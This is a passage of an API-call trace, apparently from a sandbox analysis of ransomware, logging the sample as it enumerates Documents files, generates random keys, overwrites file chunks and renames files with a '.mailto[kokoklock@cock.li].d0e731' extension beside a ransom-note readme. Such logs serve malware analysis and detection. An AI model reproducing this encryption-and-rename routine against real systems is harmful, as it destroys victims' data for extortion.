dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0070.461] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3473a570, ftCreationTime.dwHighDateTime=0x1d4d40b, ftLastAccessTime.dwLowDateTime=0xd911ff70, ftLastAccessTime.dwHighDateTime=0x1d4c66c, ftLastWriteTime.dwLowDateTime=0xd911ff70, ftLastWriteTime.dwHighDateTime=0x1d4c66c, nFileSizeHigh=0x0, nFileSizeLow=0x2f4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HzuzzSnhYp.pps", cAlternateFileName="HZUZZS~1.PPS")) returned 1 [0070.461] wcscmp (_String1="HzuzzSnhYp.pps", _String2=".") returned 1 [0070.461] wcscmp (_String1="HzuzzSnhYp.pps", _String2="..") returned 1 [0070.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479cb8 [0070.461] wcscpy (in: _Dest=0x3479cb8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0070.461] wcscat (in: _Dest=0x3479cb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0070.461] wcscat (in: _Dest=0x3479cb8, _Source="HzuzzSnhYp.pps" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps" [0070.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0070.462] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf33118a0, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0x5e0ad90, ftLastAccessTime.dwHighDateTime=0x1d4cb80, ftLastWriteTime.dwLowDateTime=0x5e0ad90, ftLastWriteTime.dwHighDateTime=0x1d4cb80, nFileSizeHigh=0x0, nFileSizeLow=0x14e4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="qSq6d.docx", cAlternateFileName="QSQ6D~1.DOC")) returned 1 [0070.462] wcscmp (_String1="qSq6d.docx", _String2=".") returned 1 [0070.462] wcscmp (_String1="qSq6d.docx", _String2="..") returned 1 [0070.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e340 [0070.462] wcscpy (in: _Dest=0x347e340, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0070.462] wcscat (in: _Dest=0x347e340, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0070.462] wcscat (in: _Dest=0x347e340, _Source="qSq6d.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx" [0070.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0070.463] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x991c0d50, ftLastAccessTime.dwHighDateTime=0x1d4c90c, ftLastWriteTime.dwLowDateTime=0x991c0d50, ftLastWriteTime.dwHighDateTime=0x1d4c90c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sr-iCEZV", cAlternateFileName="")) returned 1 [0070.463] wcscmp (_String1="Sr-iCEZV", _String2=".") returned 1 [0070.463] wcscmp (_String1="Sr-iCEZV", _String2="..") returned 1 [0070.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426d90 [0070.463] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0070.463] wcscat (in: _Dest=0x3426d90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0070.463] wcscat (in: _Dest=0x3426d90, _Source="Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0070.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0070.464] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x991c0d50, ftLastAccessTime.dwHighDateTime=0x1d4c90c, ftLastWriteTime.dwLowDateTime=0x991c0d50, ftLastWriteTime.dwHighDateTime=0x1d4c90c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sr-iCEZV", cAlternateFileName="")) returned 0 [0070.464] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0070.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a138) returned 1 [0070.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480360) returned 1 [0070.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ac8) returned 1 [0070.464] RtlExitUserThread (Status=0x0) Thread: id = 430 os_tid = 0xa8c [0069.603] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx")) returned 0x20 [0069.604] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx", dwFileAttributes=0x20) returned 1 [0069.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.604] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x124bfcf4 | out: lpFileSize=0x124bfcf4*=77425) returned 1 [0069.604] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x12e6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.604] ReadFile (in: hFile=0x774, lpBuffer=0x124bfcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x124bfcc8*, lpNumberOfBytesRead=0x124bfcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.605] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bfa0 [0069.605] NtQuerySystemTime (in: CurrentTime=0x124bfca0 | out: CurrentTime=0x124bfca0*=132121176274941637) returned 0x0 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xd7be258 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xcd319325 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xa769513 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x6ef52b4d [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x35112533 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x9e1ded3c [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x221bdbf0 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x64767a38 [0069.605] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x81fa7a9f [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xd656afa5 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x298408fe [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xe9023304 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x641e0eef [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x60d132d4 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xe3ad20a8 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x277370f4 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xdd9bb59e [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x2a949f08 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x792085b4 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xcc4f53bd [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x872ce378 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x9fa59736 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x3ee1a113 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x607364ad [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x6208a7a0 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x3ca6ae77 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x34240cba [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xde8ba3de [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xd04b3cfe [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0x36a39015 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xb1c24f80 [0069.606] RtlRandom (in: Seed=0x124bfcac | out: Seed=0x124bfcac) returned 0xa41464c0 [0069.617] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.617] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x124bfc78, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x124bfc78*=0x4096, lpOverlapped=0x0) returned 1 [0069.617] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bac8 [0069.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bac8) returned 1 [0069.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.618] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x124bfc78, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x124bfc78*=0x4096, lpOverlapped=0x0) returned 1 [0069.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.618] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x12e71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.618] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x124bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x124bfcb0*=0x20, lpOverlapped=0x0) returned 1 [0069.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.619] WriteFile (in: hFile=0x774, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x124bfcc4*=0x8, lpOverlapped=0x0) returned 1 [0069.619] WriteFile (in: hFile=0x774, lpBuffer=0x124bfcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x124bfcdc*, lpNumberOfBytesWritten=0x124bfcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.619] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x124bfcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.619] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x124bfcc4*=0x6c, lpOverlapped=0x0) returned 1 [0069.619] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x124bfcc4*=0x20, lpOverlapped=0x0) returned 1 [0069.619] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x124bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x124bfcc4*=0x4, lpOverlapped=0x0) returned 1 [0069.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.619] CloseHandle (hObject=0x774) returned 1 [0069.621] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eae10 [0069.621] wcscpy (in: _Dest=0x33eae10, _Source="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx") returned="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx" [0069.621] wcscat (in: _Dest=0x33eae10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" [0069.621] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.622] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eae10) returned 1 [0069.622] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx", dwFileAttributes=0x20) returned 0 [0069.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.622] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.622] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.622] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.623] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a98) returned 1 [0069.623] RtlExitUserThread (Status=0x1) Thread: id = 431 os_tid = 0xcdc [0069.625] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps")) returned 0x20 [0069.625] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps", dwFileAttributes=0x20) returned 1 [0069.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.626] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1253fe00 | out: lpFileSize=0x1253fe00*=34224) returned 1 [0069.626] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x85ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.626] ReadFile (in: hFile=0x774, lpBuffer=0x1253fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1253fdd4*, lpNumberOfBytesRead=0x1253fdd0*=0x4, lpOverlapped=0x0) returned 1 [0069.626] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bac8 [0069.626] NtQuerySystemTime (in: CurrentTime=0x1253fdac | out: CurrentTime=0x1253fdac*=132121176275259542) returned 0x0 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x13d9230b [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xe72ece4d [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xa487cb69 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x32b06506 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x71fa97e0 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xd2bb667a [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xf71042a5 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x440e4817 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x2fe1a8eb [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xf7f8bb31 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xf1a61c71 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xa83dda1a [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x2c4c39d7 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x7b9d4196 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xd96ad3d4 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x965cd319 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x9621e855 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x8bb9a71e [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x5efc16ac [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x1d349e6 [0069.626] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x529c5a4b [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xed5cc273 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x36cbdb77 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x42b52d7c [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x9e9c6377 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x914a914a [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x4b7ac35 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x59bfd079 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0x98a45147 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xfd329d53 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xaa6dda4 [0069.627] RtlRandom (in: Seed=0x1253fdb8 | out: Seed=0x1253fdb8) returned 0xa0011bc0 [0069.637] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.637] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1253fd84, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1253fd84*=0x4096, lpOverlapped=0x0) returned 1 [0069.637] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb40 [0069.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb40) returned 1 [0069.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.638] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1253fd84, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1253fd84*=0x4096, lpOverlapped=0x0) returned 1 [0069.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.638] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x85b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1253fdbc, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x1253fdbc*=0x20, lpOverlapped=0x0) returned 1 [0069.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x1253fdd0*=0x8, lpOverlapped=0x0) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x1253fde8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1253fde8*, lpNumberOfBytesWritten=0x1253fdd0*=0x4, lpOverlapped=0x0) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1253fdd0*=0x4, lpOverlapped=0x0) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1253fdd0*=0x6c, lpOverlapped=0x0) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, 